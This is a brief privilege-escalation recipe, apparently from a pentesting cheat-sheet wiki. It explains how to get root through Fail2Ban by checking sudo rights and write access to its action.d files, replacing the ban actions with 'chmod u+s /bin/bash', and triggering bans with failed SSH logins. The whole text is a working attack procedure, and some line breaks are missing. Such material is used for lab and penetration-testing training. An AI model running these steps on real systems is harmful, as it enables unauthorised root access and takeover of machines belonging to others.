Fail2Ban Privilege Escalation
Requirements:
1) Check if the user has sudo access, or check for a process that runs fail2ban as root
sudo -l
pspy642) Check if you can modify action configuration files
ls -la /etc/fail2ban/action.d3) Check the contents of the jail.conf file to see which services are enabled and which files are used that trigger the service (in our example, it is SSH)
cat /etc/fail2ban/jail.conf4) Replace the ban action with a command of our choosing in the corresponding configuration file
nano /etc/fail2ban/action.d/iptables-multiport.confactionban = chmod u+s /bin/bash
actionunban = chmod u+s /bin/bash5) Purposefully fail SSH logins to trigger the fail2ban service
6) Check bash binary (or check your listener for shell)
7) Escalate to root
Last updated